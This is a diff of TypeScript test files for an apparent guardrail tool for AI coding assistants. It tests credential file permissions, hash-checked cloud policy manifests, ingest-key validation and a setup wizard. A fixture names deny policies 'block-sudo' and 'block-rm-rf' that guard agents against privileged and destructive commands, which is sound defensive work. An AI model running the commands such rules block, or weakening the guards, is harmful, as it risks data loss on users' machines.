string, init: RequestInit) => + new Promise((_resolve, reject) => { + init.signal?.addEventListener("abort", () => reject(new Error("aborted"))); + })) as unknown as typeof fetch; + + const r = await introspectKey("https://api.example.com", "k", never, 20); + expect(r.kind).toBe("unreachable"); + }); +}); + +describe("permission helpers", () => { + const id = (perms: string[]): KeyIdentity => ({ permissions: perms }); + + it("reads the two capability permissions independently", () => { + expect(hasPermission(id([PERMISSION_EVENTS]), PERMISSION_EVENTS)).toBe(true); + expect(hasPermission(id([PERMISSION_EVENTS]), PERMISSION_POLICIES)).toBe(false); + expect(hasPermission(id([PERMISSION_POLICIES]), PERMISSION_EVENTS)).toBe(false); + }); + + it("does not accept a wildcard or a prefix as the permission", () => { + // The server expands implied permissions itself and returns the result; + // re-implementing that expansion here is how the two drift apart. + expect(hasPermission(id(["events:*"]), PERMISSION_EVENTS)).toBe(false); + expect(hasPermission(id(["events"]), PERMISSION_EVENTS)).toBe(false); + }); +}); + +describe("describeOrg", () => { + it("names the org the way a human would recognise it", () => { + expect(describeOrg({ permissions: [], orgName: "Acme Inc", orgSlug: "acme" })).toBe( + "Acme Inc (acme)", + ); + }); + + it("degrades through slug and id rather than printing nothing", () => { + expect(describeOrg({ permissions: [], orgSlug: "acme" })).toBe("acme"); + expect(describeOrg({ permissions: [], orgId: "org_123" })).toBe("org_123"); + expect(describeOrg({ permissions: [] })).toContain("unknown"); + }); +}); diff --git a/__tests__/hooks/cloud-managed-policies.test.ts b/__tests__/hooks/cloud-managed-policies.test.ts new file mode 100644 index 00000000..27289589 --- /dev/null +++ b/__tests__/hooks/cloud-managed-policies.test.ts @@ -0,0 +1,138 @@ +// @vitest-environment node +import { afterEach, describe, expect, it } from "vitest"; +import { createHash } from "node:crypto"; +import { existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { + clearActiveCloudManagedPolicies, + readActiveCloudManagedPolicies, +} from "../../src/hooks/cloud-managed-policies"; + +const roots: string[] = []; + +function fixture(policyBytes = Buffer.from("export default 'managed';\n")) { + const root = mkdtempSync(join(tmpdir(), "fpai-cloud-managed-test-")); + roots.push(root); + process.env.FAILPROOFAI_CLOUD_POLICY_DIR = root; + const sha256 = createHash("sha256").update(policyBytes).digest("hex"); + const generationDir = join(root, "generations", "12"); + mkdirSync(generationDir, { recursive: true }); + const policyPath = join(generationDir, "guard.mjs"); + writeFileSync(policyPath, policyBytes); + writeFileSync( + join(root, "active.json"), + JSON.stringify({ + schemaVersion: 1, + generation: 12, + policies: [{ id: "guard", revision: 3, sha256, path: "generations/12/guard.mjs" }], + }), + ); + return { root, policyPath, sha256 }; +} + +afterEach(() => { + delete process.env.FAILPROOFAI_CLOUD_POLICY_DIR; + for (const root of roots.splice(0)) rmSync(root, { recursive: true, force: true }); +}); + +describe("cloud-managed policy active generation", () => { + it("returns only hash-verified artifacts from active.json", () => { + const { policyPath, sha256 } = fixture(); + expect(readActiveCloudManagedPolicies()).toEqual([ + // `effect` defaults to enforce: a manifest written before observe mode + // existed must not silently downgrade a machine to observation. + { id: "guard", revision: 3, sha256, path: policyPath, generation: 12, effect: "enforce" }, + ]); + }); + + it("returns an empty set when no cloud generation is active", () => { + const root = mkdtempSync(join(tmpdir(), "fpai-cloud-managed-empty-")); + roots.push(root); + process.env.FAILPROOFAI_CLOUD_POLICY_DIR = root; + expect(readActiveCloudManagedPolicies()).toEqual([]); + }); + + it("rejects modified policy bytes", () => { + const { policyPath } = fixture(); + writeFileSync(policyPath, "tampered"); + expect(() => readActiveCloudManagedPolicies()).toThrow(/failed integrity verification/); + }); + + it("rejects paths and symlinks escaping the managed root", () => { + const { root, sha256 } = fixture(); + const outside = join(tmpdir(), `fpai-cloud-managed-outside-${process.pid}.mjs`); + writeFileSync(outside, "export default 'managed';\n"); + const link = join(root, "generations", "12", "escape.mjs"); + symlinkSync(outside, link); + writeFileSync( + join(root, "active.json"), + JSON.stringify({ + schemaVersion: 1, + generation: 12, + policies: [{ id: "guard", revision: 3, sha256, path: "generations/12/escape.mjs" }], + }), + ); + try { + expect(() => readActiveCloudManagedPolicies()).toThrow(/symlink escapes/); + } finally { + rmSync(outside, { force: true }); + } + }); +}); + +describe("policy effect", () => { + it("reads an explicit observe effect", () => { + const { root, policyPath, sha256 } = fixture(); + writeFileSync( + join(root, "active.json"), + JSON.stringify({ + schemaVersion: 1, + generation: 12, + policies: [{ id: "guard", revision: 3, sha256, path: "generations/12/guard.mjs", effect: "observe" }], + }), + ); + expect(readActiveCloudManagedPolicies()[0]).toMatchObject({ path: policyPath, effect: "observe" }); + }); + + it("refuses a manifest whose effect it cannot interpret", () => { + // Guessing means either enforcing something meant to be watched, or + // watching something meant to be enforced. Both are worse than refusing. + const { root, sha256 } = fixture(); + writeFileSync( + join(root, "active.json"), + JSON.stringify({ + schemaVersion: 1, + generation: 12, + policies: [{ id: "guard", revision: 3, sha256, path: "generations/12/guard.mjs", effect: "sometimes" }], + }), + ); + expect(() => readActiveCloudManagedPolicies()).toThrow(/unknown effect/); + }); +}); + +describe("clearActiveCloudManagedPolicies", () => { + it("stops enforcement while leaving the verified artifacts on disk", () => { + // `--disconnect` cleared the credential, which ends POLLING. Every artifact + // already on disk stayed referenced by active.json and kept being loaded on + // every tool call — so a machine that had deliberately left its + // organisation went on being governed by whatever generation was current + // when it left, indefinitely, while `--status` called it unconnected. + const { policyPath } = fixture(); + expect(readActiveCloudManagedPolicies()).toHaveLength(1); + + expect(clearActiveCloudManagedPolicies()).toBe(true); + + expect(readActiveCloudManagedPolicies()).toEqual([]); + // The artifacts themselves stay: large, hash-verified on use, and inert + // once nothing points at them — so a reconnect is cheap and works offline. + expect(existsSync(policyPath)).toBe(true); + }); + + it("reports nothing removed when no generation was active", () => { + const root = mkdtempSync(join(tmpdir(), "fpai-cloud-managed-clear-")); + roots.push(root); + process.env.FAILPROOFAI_CLOUD_POLICY_DIR = root; + expect(clearActiveCloudManagedPolicies()).toBe(false); + }); +}); diff --git a/__tests__/hooks/collector-config.test.ts b/__tests__/hooks/collector-config.test.ts new file mode 100644 index 00000000..7e4b20ec --- /dev/null +++ b/__tests__/hooks/collector-config.test.ts @@ -0,0 +1,175 @@ +// @vitest-environment node +// +// The credential half of this is a security property, not a behaviour: +// `policies-config.json` is 0664 inside a 0775 `~/.failproofai` on a normal +// machine, which is exactly why the key lives in its own file at 0600. +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, statSync, readFileSync, writeFileSync, chmodSync, mkdirSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; + +import { + DEFAULT_INGEST_URL, + writeIngestCredential, + validateIngestKey, + hasIngestCredential, + ingestPath, + readIngestCredential, +} from "@/src/hooks/collector-config"; + +describe("collector credential storage", () => { + let home: string; + let prevHome: string | undefined; + + beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(join(tmpdir(), "fpai-cc-")); + process.env.FAILPROOFAI_HOME = home; + }); + + afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); + }); + + it("writes the credential owner-only", () => { + const path = writeIngestCredential({ url: DEFAULT_INGEST_URL, key: "sk-secret" }); + const mode = statSync(path).mode & 0o777; + expect(mode).toBe(0o600); + // Stored in credentials.toml now; assert through the reader, and + // separately that the raw file never leaks into a world-readable mode. + expect(readIngestCredential()?.key).toBe("sk-secret"); + }); + + it("tightens a world-traversable home", () => { + // A 0600 file inside a 0775 directory is still reachable by every local + // user, and ~/.failproofai really is 0775 on a normal machine. + chmodSync(home, 0o775); + writeIngestCredential({ url: DEFAULT_INGEST_URL, key: "k" }); + expect(statSync(home).mode & 0o777).toBe(0o700); + }); + + it("fixes the mode of an already-permissive credential file", () => { + // `mode` on writeFileSync applies only when the file is CREATED, so + // without the explicit chmod an existing 0644 file keeps its mode. + mkdirSync(home, { recursive: true }); + writeFileSync(ingestPath(), ""); + chmodSync(ingestPath(), 0o644); + + writeIngestCredential({ url: DEFAULT_INGEST_URL, key: "k" }); + expect(statSync(ingestPath()).mode & 0o777).toBe(0o600); + }); + + it("reports whether a credential is configured", () => { + expect(hasIngestCredential()).toBe(false); + writeIngestCredential({ url: DEFAULT_INGEST_URL, key: "k" }); + expect(hasIngestCredential()).toBe(true); + }); +}); + +describe("ingest key validation", () => { + const cred = { url: "https://example.test/events", key: "k" }; + + it("accepts a key the ingest endpoint answers with an ingest response", async () => { + // The real endpoint answers `{"accepted":N,"skipped":M}` for an empty body. + // A bare 2xx is deliberately NOT enough — see the two tests below. + const fake = (async () => + new Response(JSON.stringify({ accepted: 0, skipped: 0 }), { + status: 200, + })) as unknown as typeof fetch; + expect(await validateIngestKey(cred, fake)).toEqual({ ok: true }); + }); + + it("refuses a URL that REDIRECTS instead of accepting events", async () => { + // The dashboard sits on another port of the same host and is printed right + // beside the API during setup, so typing :3000 for :8080 is the likeliest + // mistake available. It answers POST /events with a 307 to its login page, + // which returns 200 — and `fetch` follows redirects by default, so this + // used to read as a valid ingest endpoint. The credential was written, the + // CLI reported success, and every batch afterwards was POSTed into a login + // form and silently lost. + const fake = (async () => + new Response("", { + status: 307, + headers: { location: "/login?next=%2Fevents" }, + })) as unknown as typeof fetch; + const res = await validateIngestKey(cred, fake); + expect(res.ok).toBe(false); + expect(res.ok === false && res.reason).toContain("redirects"); + }); + + it("refuses a 200 that is not an ingest response", async () => { + // A proxy, a static host or a catch-all router will happily 200 anything. + // Requiring the response SHAPE is what proves this is the endpoint the + // uploader will actually be talking to. + const fake = (async () => + new Response("hello", { status: 200 })) as unknown as typeof fetch; + const res = await validateIngestKey(cred, fake); + expect(res.ok).toBe(false); + expect(res.ok === false && res.reason).toContain("not the events endpoint"); + }); + + it("refuses a 200 whose JSON lacks an accepted count", async () => { + const fake = (async () => + new Response(JSON.stringify({ status: "ok" }), { status: 200 })) as unknown as typeof fetch; + const res = await validateIngestKey(cred, fake); + expect(res.ok).toBe(false); + }); + + it("does not follow redirects at all", async () => { + // Belt and braces: the shape check above would also catch a followed + // redirect, but only if the login page happened not to return ingest-shaped + // JSON. Not following is the part that makes it unconditional. + let seenInit: RequestInit | undefined; + const fake = (async (_u: string, init: RequestInit) => { + seenInit = init; + return new Response(JSON.stringify({ accepted: 0, skipped: 0 }), { status: 200 }); + }) as unknown as typeof fetch; + await validateIngestKey(cred, fake); + expect(seenInit?.redirect).toBe("manual"); + }); + + it("names a rejected key rather than reporting a generic failure", async () => { + // The whole point of checking at setup: a typo'd key is otherwise only + // discovered later as a pile of 401s parked in failed/, which reads like a + // server problem. + const fake = (async () => new Response("", { status: 401 })) as unknown as typeof fetch; + const res = await validateIngestKey(cred, fake); + expect(res.ok).toBe(false); + expect(res.ok === false && res.reason).toContain("rejected that key"); + }); + + it("distinguishes a wrong URL from a wrong key", async () => { + const fake = (async () => new Response("", { status: 404 })) as unknown as typeof fetch; + const res = await validateIngestKey(cred, fake); + expect(res.ok === false && res.reason).toContain("no ingest endpoint"); + }); + + it("reports an unreachable server without echoing the URL back", async () => { + // The URL can carry an internal hostname the user would rather not have in + // a shared terminal recording. + const fake = (async () => { + throw new Error("getaddrinfo ENOTFOUND internal.corp.example"); + }) as unknown as typeof fetch; + const res = await validateIngestKey(cred, fake); + expect(res.ok).toBe(false); + expect(res.ok === false && res.reason).toContain("could not reach"); + }); + + it("sends an empty body so checking creates no event", async () => { + // Verifying with a real event would put a spurious row in the user's + // dashboard every time they ran setup. + let seenBody: unknown = "unset"; + let seenAuth: string | null = null; + const fake = (async (_url: string, init: RequestInit) => { + seenBody = init.body; + seenAuth = new Headers(init.headers).get("authorization"); + return new Response("{}", { status: 200 }); + }) as unknown as typeof fetch; + + await validateIngestKey({ url: cred.url, key: "abc" }, fake); + expect(seenBody).toBe(""); + expect(seenAuth).toBe("Bearer abc"); + }); +}); diff --git a/__tests__/hooks/configure-wizard.test.ts b/__tests__/hooks/configure-wizard.test.ts index 535a3d7a..895eaf99 100644 --- a/__tests__/hooks/configure-wizard.test.ts +++ b/__tests__/hooks/configure-wizard.test.ts @@ -1,5 +1,5 @@ import { describe, it, expect, vi, beforeEach, afterEach, beforeAll, afterAll } from "vitest"; -import { mkdtempSync, rmSync, existsSync, mkdirSync, writeFileSync } from "node:fs"; +import { mkdtempSync, rmSync, existsSync, mkdirSync, writeFileSync, readFileSync } from "node:fs"; import { summarize } from "../../src/hooks/tui"; import { tmpdir } from "node:os"; import { resolve } from "node:path"; @@ -10,11 +10,105 @@ import { resolve } from "node:path"; vi.mock("../../src/hooks/tui", async (importOriginal) => { const actual = await importOriginal(); // Keep the pure helpers (summarize, ellipsize) real; stub only the interactive prompts. - return { ...actual, selectOne: vi.fn(), multiSelect: vi.fn(), intro: vi.fn(), outro: vi.fn() }; + return { + ...actual, + selectOne: vi.fn(), + multiSelect: vi.fn(), + promptText: vi.fn(), + intro: vi.fn(), + outro: vi.fn(), + }; }); vi.mock("../../src/hooks/manager", () => ({ installHooks: vi.fn(async () => {}) })); +// The wizard's apply path writes `customPoliciesEnabled` to the config for the +// CHOSEN SCOPE, and project scope resolves from `process.cwd()` — which, in a +// test, is this repository. So every applied project-scope run wrote +// `"customPoliciesEnabled": false` into the committed dogfood config, and the +// next `git add -A` committed it: custom policies silently off for everyone who +// pulled. Isolating HOME (below) could never catch this, because project scope +// never consults HOME. +// +// Redirect the resolved path rather than stubbing the write, so the real +// setCustomPoliciesEnabled still runs and stays under test — just against a +// temp file. `WIZARD_TEST_CONFIG_DIR` is recomputed identically outside the +// factory so afterAll can clean it up. +vi.mock("../../src/hooks/hooks-config", async (importOriginal) => { + const actual = await importOriginal(); + const { mkdirSync } = await import("node:fs"); + const { tmpdir } = await import("node:os"); + const { resolve: join } = await import("node:path"); + const dir = join(tmpdir(), `fpai-wizard-cfg-${process.pid}`); + mkdirSync(dir, { recursive: true }); + return { + ...actual, + // Only the cwd-derived scopes are redirected. User scope already resolves + // from HOME, which this file isolates, and the daemon tests depend on that + // real path — redirecting it too would move `daemonConfigured` out from + // under them. + getConfigPathForScope: (scope: string, cwd?: string) => + scope === "user" + ? actual.getConfigPathForScope("user", cwd) + : join(dir, scope === "local" ? "policies-config.local.json" : "policies-config.json"), + }; +}); +// installDaemonService shells out to real systemctl/launchctl — several tests +// below drive the wizard with scope "user", which is exactly the condition +// that triggers it. Mocked so an ordinary unit test run never touches this +// machine's real systemd/launchd state. +// Only the three that shell out are stubbed; setDaemonConfigured stays real +// so the `daemonConfigured` assertions below test the actual marker write +// (against this file's isolated HOME), not a mock of it. +vi.mock("../../src/hooks/daemon-service", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + isDaemonSupportedPlatform: vi.fn(() => false), + installDaemonService: vi.fn(async () => ({ installed: false, reason: "mocked" })), + daemonServiceFilePath: vi.fn(() => null), + // Drives the already-installed / crash-looped branches without touching + // this machine's real service manager. + daemonServiceStatus: vi.fn(() => "not-installed" as const), + // Reads /etc/systemd/system on the real machine, so a developer box with a + // pre-FAILPROOFAI_CLI_CMD unit installed would otherwise send every + // already-running test down the refresh branch. + daemonServiceNeedsUpgrade: vi.fn(() => false), + ensureDaemonServiceCurrent: vi.fn(async () => ({ outcome: "current" as const })), + daemonStatusCommand: vi.fn(() => "systemctl status failproofaid@test"), + // Step 0 primes sudo before anything is drawn. Mocked true by default so + // no test can block on a real password prompt. + primeElevation: vi.fn(() => true), + // The end-to-end health probe opens the real daemon socket. Default true — + // "the service manager says running" and "it can actually answer" agree on + // a healthy machine, which is what every pre-existing test here means by + // running. The tests that drive the broken-worker branch override it. + probeDaemonEndToEnd: vi.fn(async () => true), + // Richer form the wizard uses so it can name WHICH fault it hit — an + // unreachable socket and a worker that will not run need different words. + probeDaemon: vi.fn(async () => ({ ok: true })), + uninstallDaemonService: vi.fn(async () => {}), + }; +}); // The wizard kicks off the audit pipeline after a completed apply; stub it so // tests never scan real history. +// The connect step reaches the network twice — once to probe the key before +// the review screen, once via connectToCloud at apply. Both stubbed so no test +// talks to a server, and so the "revoked between probe and apply" case can be +// driven deterministically. +vi.mock("../../src/hooks/cloud-connection", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + connectToCloud: vi.fn(async () => ({ + policy: { ok: true, policyCount: 2, generation: 7 }, + ingest: { ok: true }, + anyConfigured: true, + })), + }; +}); +vi.mock("../../src/hooks/collector-config", async (importOriginal) => { + const actual = await importOriginal(); + return { ...actual, validateIngestKey: vi.fn(async () => ({ ok: true })) }; +}); vi.mock("../../src/audit/cli", () => ({ runPostSetupAudit: vi.fn(async () => {}) })); vi.mock("../../src/hooks/hook-telemetry", () => ({ trackHookEvent: vi.fn(async () => {}) })); vi.mock("../../lib/telemetry-id", () => ({ getInstanceId: vi.fn(() => "test-id") })); @@ -23,10 +117,23 @@ vi.mock("../../src/hooks/integrations", async (importOriginal) => { return { ...actual, detectInstalledClis: vi.fn(() => ["claude"]) }; }); -import { selectOne, multiSelect, outro, type TTYIn, type TTYOut } from "../../src/hooks/tui"; +import { selectOne, multiSelect, promptText, outro, type TTYIn, type TTYOut } from "../../src/hooks/tui"; +import { connectToCloud } from "../../src/hooks/cloud-connection"; +import { validateIngestKey } from "../../src/hooks/collector-config"; import { installHooks } from "../../src/hooks/manager"; import { - buildScopeChoices, + isDaemonSupportedPlatform, + installDaemonService, + daemonServiceStatus, + daemonServiceNeedsUpgrade, + daemonServiceFilePath, + ensureDaemonServiceCurrent, + primeElevation, + probeDaemon, + probeDaemonEndToEnd, + uninstallDaemonService, +} from "../../src/hooks/daemon-service"; +import { buildAgentChoices, buildPresetChoices, clisSupportingScope, @@ -36,22 +143,68 @@ import { maybeFirstRunConfigure, hasSeenLauncher, markLauncherSeen, + classifyDaemonInstallFailure, } from "../../src/hooks/configure-wizard"; import { resolvePreset, resolveEverything } from "../../src/hooks/policy-presets"; import { INTEGRATION_TYPES, type IntegrationType } from "../../src/hooks/types"; import { getIntegration } from "../../src/hooks/integrations"; import { runPostSetupAudit } from "../../src/audit/cli"; +import { trackHookEvent } from "../../src/hooks/hook-telemetry"; +import { globalPolicyConfigFile, configFile as fpConfigFile, launcherMarker } from "../../src/hooks/fp-home"; +import { readConfig as readFpConfig } from "../../src/hooks/fp-config"; const mkTtyStdin = (): TTYIn => ({ isTTY: true }) as unknown as TTYIn; const mkTtyStdout = (): TTYOut => ({ isTTY: true, write: vi.fn(() => true), columns: 80 }) as unknown as TTYOut; const ttyIO = () => ({ stdin: mkTtyStdin(), stdout: mkTtyStdout() }); +/** + * Queue answers for a wizard run BY NAME rather than by position. + * + * The wizard's step order is a product decision that has already changed once + * (policies moved ahead of assistants, a connect step replaced the old + * AgentEye question). Positional `mockResolvedValueOnce` chains meant every + * such change broke every test at once and each had to be re-counted by hand + * — which is exactly the kind of churn that tempts someone to "fix" a test by + * loosening it. Naming the steps keeps a reorder to a one-line change here. + * + * Current order — selectOne: target, connect, review. + * multiSelect: policies, assistants. + * `undefined` means "this step is not reached in this test". + */ +function drive(answers: { + /** Scope step. Omitted when the run is expected to abort before it. */ + target?: "user" | "project" | "both" | null; + policies?: string[] | null; + clis?: string[] | null; + connect?: "key" | "local" | null; + review?: "apply" | "cancel" | null; +}) { + const one = vi.mocked(selectOne); + const many = vi.mocked(multiSelect); + if ("target" in answers) one.mockResolvedValueOnce(answers.target as never); + if ("connect" in answers) one.mockResolvedValueOnce(answers.connect as never); + if ("review" in answers) one.mockResolvedValueOnce(answers.review as never); + if ("policies" in answers) many.mockResolvedValueOnce(answers.policies as never); + if ("clis" in answers) many.mockResolvedValueOnce(answers.clis as never); +} + +/** The happy path: global scope, two bundles, Claude, stay local, apply. */ +const HAPPY = { + target: "user" as const, + policies: ["secrets", "git"], + clis: ["claude"], + connect: "local" as const, + review: "apply" as const, +}; + // The wizard's apply path calls markLauncherSeen(), which writes under // homedir()/.failproofai — isolate HOME for the whole file so no test ever // touches the developer's real config. let fileHome: string; let realHome: string | undefined; +/** Must match the path built inside the hooks-config mock factory above. */ +const WIZARD_TEST_CONFIG_DIR = resolve(tmpdir(), `fpai-wizard-cfg-${process.pid}`); beforeAll(() => { realHome = process.env.HOME; fileHome = mkdtempSync(resolve(tmpdir(), "fpai-cfg-")); @@ -65,6 +218,11 @@ afterAll(() => { } catch { /* ignore */ } + try { + rmSync(WIZARD_TEST_CONFIG_DIR, { recursive: true, force: true }); + } catch { + /* ignore */ + } }); beforeEach(() => { @@ -73,14 +231,21 @@ beforeEach(() => { vi.mocked(installHooks).mockClear(); vi.mocked(runPostSetupAudit).mockClear(); vi.mocked(outro).mockClear(); + vi.mocked(isDaemonSupportedPlatform).mockReset().mockReturnValue(false); + vi.mocked(installDaemonService) + .mockReset() + .mockResolvedValue({ installed: false, reason: "mocked" }); + // Reset too, or call counts leak across tests and "was never asked for sudo" + // silently passes on history from an earlier one. + vi.mocked(primeElevation).mockReset().mockReturnValue(true); + // Same reason: "a healthy daemon was left alone" asserts a call count of + // zero, which the broken-worker test above would otherwise satisfy for it. + vi.mocked(probeDaemonEndToEnd).mockReset().mockResolvedValue(true); + vi.mocked(probeDaemon).mockReset().mockResolvedValue({ ok: true }); + vi.mocked(uninstallDaemonService).mockReset().mockResolvedValue(undefined); }); describe("configure-wizard pure builders", () => { - it("buildScopeChoices offers global (user) and project only", () => { - const choices = buildScopeChoices("/tmp/proj"); - expect(choices.map((c) => c.value)).toEqual(["user", "project"]); - }); - // Pass an explicit cwd with no `.failproofai/policies/`. Relying on the // default (process.cwd()) made this depend on whether the directory the // suite happens to run from has custom policies — this repo's does, so it @@ -139,7 +304,7 @@ describe("configure-wizard pure builders", () => { it("reviewLines summarizes scope, assistants, policy count and target files", () => { const lines = reviewLines({ - scope: "user", + target: "user", clis: ["claude"], policies: ["block-sudo", "block-rm-rf"], cwd: "/tmp/proj", @@ -150,16 +315,25 @@ describe("configure-wizard pure builders", () => { expect(lines).toContain("policies-config.json"); expect(lines).toContain("settings.json"); }); + + it("reviewLines reports an empty policy set as a choice, not a count of zero", () => { + const lines = reviewLines({ + target: "user", + clis: ["claude"], + policies: [], + cwd: "/tmp/proj", + }).join("\n"); + expect(lines).toContain("none enabled"); + expect(lines).not.toContain("0 enabled"); + // Tell the user where to change their mind, so an intentional "none" does + // not read like the wizard dropped the selection. + expect(lines).toContain("failproofai policies --install"); + }); }); describe("configure-wizard orchestration", () => { it("applies the union of selected presets, REPLACING the enabled set", async () => { - vi.mocked(selectOne) - .mockResolvedValueOnce("user") // scope - .mockResolvedValueOnce("apply"); // review - vi.mocked(multiSelect) - .mockResolvedValueOnce(["claude"]) // assistants - .mockResolvedValueOnce(["secrets", "git"]); // policy sources (multi-select) + drive({ target: "user", policies: ["secrets", "git"], clis: ["claude"], connect: "local", review: "apply" }); // policy sources (multi-select) const result = await runConfigureWizard(ttyIO()); @@ -177,24 +351,62 @@ describe("configure-wizard orchestration", () => { }); it("'Everything available' protects every supported CLI", async () => { - vi.mocked(selectOne) - .mockResolvedValueOnce("user") // scope - .mockResolvedValueOnce("apply"); // review - vi.mocked(multiSelect) - .mockResolvedValueOnce(["__all_clis__"]) // assistants → Everything available - .mockResolvedValueOnce(["git"]); // policy sources + drive({ target: "user", policies: ["git"], clis: ["__all_clis__"], connect: "local", review: "apply" }); // policy sources await runConfigureWizard(ttyIO()); const call = vi.mocked(installHooks).mock.calls[0]; expect(call[7]).toEqual([...INTEGRATION_TYPES]); // all CLIs, regardless of detection }); + it("accepts an empty policy selection and still installs the hooks", async () => { + drive({ target: "user", policies: [], clis: ["claude"], connect: "local", review: "apply" }); // policy sources → nothing ticked + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + // The whole point: setup completes. Hooks are installed for the chosen + // assistant with an empty enabled set, so enforcement can be switched on + // later without re-running the wizard. + expect(installHooks).toHaveBeenCalledTimes(1); + const call = vi.mocked(installHooks).mock.calls[0]; + expect(call[0]).toEqual([]); // no builtins enabled + expect(call[7]).toEqual(["claude"]); // assistants unaffected + expect(call[8]).toEqual({ replace: true, quiet: true }); // empty set REPLACES + }); + + it("does not impose a minimum on the policy step, but keeps one on assistants", async () => { + drive({ target: "user", policies: [], clis: ["claude"], connect: "local", review: "apply" }); + + await runConfigureWizard(ttyIO()); + + // Policies are asked FIRST now — "what do you want guarded" is the + // question the user came for; which CLIs to wire it into follows from it. + const [policyOpts] = vi.mocked(multiSelect).mock.calls[0]; + const [assistantsOpts] = vi.mocked(multiSelect).mock.calls[1]; + // Asymmetric on purpose: an empty CLI list does NOT mean "no assistants" — + // installHooksImpl falls back to ["claude"] — so that step must keep its + // minimum or it would silently install for a CLI nobody picked. + expect(assistantsOpts.minSelected).toBe(1); + expect(policyOpts.minSelected).toBeUndefined(); + }); + + it("never writes into the repository's own config when applying at project scope", async () => { + // The defect this pins: project scope resolves its config from + // process.cwd(), which under test is this repo, so an applied run wrote + // `customPoliciesEnabled: false` into the tracked dogfood config — and the + // next `git add -A` committed custom policies switched off for everyone. + // Isolating HOME did not help, because project scope never reads HOME. + const repoConfig = resolve(process.cwd(), ".failproofai", "policies-config.json"); + const before = existsSync(repoConfig) ? readFileSync(repoConfig, "utf8") : null; + + drive({ target: "project", policies: ["git"], clis: ["claude"], connect: "local", review: "apply" }); // Custom deliberately unticked — the write that leaked + await runConfigureWizard(ttyIO()); + + const after = existsSync(repoConfig) ? readFileSync(repoConfig, "utf8") : null; + expect(after).toBe(before); + }); + it("cancelling at the review step makes no changes", async () => { - vi.mocked(selectOne) - .mockResolvedValueOnce("user") // scope - .mockResolvedValueOnce("cancel"); // review → cancel - vi.mocked(multiSelect) - .mockResolvedValueOnce(["claude"]) // assistants - .mockResolvedValueOnce(["git"]); // policy sources + drive({ target: "user", policies: ["git"], clis: ["claude"], connect: "local", review: "cancel" }); // policy sources const result = await runConfigureWizard(ttyIO()); expect(result.applied).toBe(false); expect(installHooks).not.toHaveBeenCalled(); @@ -270,12 +482,7 @@ describe("first-run redirect", () => { }); it("marks the launcher seen only after a completed apply", async () => { - vi.mocked(selectOne) - .mockResolvedValueOnce("user") // scope - .mockResolvedValueOnce("apply"); // review → apply - vi.mocked(multiSelect) - .mockResolvedValueOnce(["claude"]) // assistants - .mockResolvedValueOnce(["git"]); // policy sources + drive({ target: "user", policies: ["git"], clis: ["claude"], connect: "local", review: "apply" }); // policy sources const handled = await maybeFirstRunConfigure(ttyIO()); expect(handled).toBe(true); expect(installHooks).toHaveBeenCalledTimes(1); @@ -341,10 +548,7 @@ describe("scope-aware assistant selection", () => { // cutting off the custom-policy note entirely and then stopping mid-word. it("keeps the closing line inside an 80-column terminal", async () => { const stdout = mkTtyStdout(); - vi.mocked(selectOne).mockResolvedValueOnce("project").mockResolvedValueOnce("apply"); - vi.mocked(multiSelect) - .mockResolvedValueOnce(["__all_clis__"]) // widest: every CLI - .mockResolvedValueOnce(["__everything__"]); // widest: every policy + drive({ target: "project", policies: ["__everything__"], clis: ["__all_clis__"], connect: "local", review: "apply" }); // widest: every policy await runConfigureWizard({ stdin: mkTtyStdin(), stdout }); @@ -356,12 +560,7 @@ describe("scope-aware assistant selection", () => { }); it("applies to only the scope-supported CLIs when Everything available is ticked", async () => { - vi.mocked(selectOne) - .mockResolvedValueOnce("project") // scope - .mockResolvedValueOnce("apply"); // review - vi.mocked(multiSelect) - .mockResolvedValueOnce(["__all_clis__"]) // every assistant - .mockResolvedValueOnce(["git"]); // one bundle + drive({ target: "project", policies: ["git"], clis: ["__all_clis__"], connect: "local", review: "apply" }); // one bundle await runConfigureWizard(ttyIO()); @@ -370,3 +569,632 @@ describe("scope-aware assistant selection", () => { for (const id of clis) expect(getIntegration(id).scopes).toContain("project"); }); }); + +describe("configure-wizard daemon integration", () => { + function globalConfigPath(): string { + return fpConfigFile(); + } + function readGlobalConfig(): Record { + // Layout 2 moved this flag out of policies-config.json and into + // config.toml [daemon]. Shaped back to the old key so the assertions below + // keep reading as statements about daemonConfigured rather than about TOML. + const cfg = readFpConfig(); + return cfg.daemon.configured ? { daemonConfigured: true } : {}; + } + + // fileHome (and therefore the global config file) is shared across every + // test in this file — a prior test's daemonConfigured: true write would + // otherwise leak into a later test that expects it to be absent. + beforeEach(() => { + rmSync(globalConfigPath(), { force: true }); + // Same leak, one file over: an earlier test's completed apply leaves the + // marker behind, so an abort test asserting "not marked seen" would read a + // previous test's success as its own. + rmSync(launcherMarker(fileHome), { force: true }); + vi.mocked(daemonServiceStatus).mockReturnValue("not-installed"); + vi.mocked(daemonServiceNeedsUpgrade).mockReturnValue(false); + vi.mocked(ensureDaemonServiceCurrent).mockClear(); + // The telemetry assertions below locate their event with `.find()`, which + // would otherwise match an identically-named event emitted by an earlier + // test in this file and assert against the wrong run's props. + vi.mocked(trackHookEvent).mockClear(); + }); + + it("installs the daemon and marks it configured, with no question asked", async () => { + // The daemon is REQUIRED now, so there is no step-0 prompt to answer — + // a supported platform simply gets one. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + drive(HAPPY); + + const result = await runConfigureWizard(ttyIO()); + + expect(result.applied).toBe(true); + expect(result.daemonInstalled).toBe(true); + expect(installDaemonService).toHaveBeenCalledTimes(1); + expect(readGlobalConfig().daemonConfigured).toBe(true); + }); + + it("primes sudo before anything is drawn", async () => { + // `sudo -v` must prompt on a clean terminal. Fired from underneath a + // rendered TUI the prompt is invisible and the typed password lands in a + // redrawn frame. + vi.mocked(isDaemonSupportedPlatform).mockReturnValue(true); + vi.mocked(installDaemonService).mockResolvedValue({ installed: true }); + const order: string[] = []; + 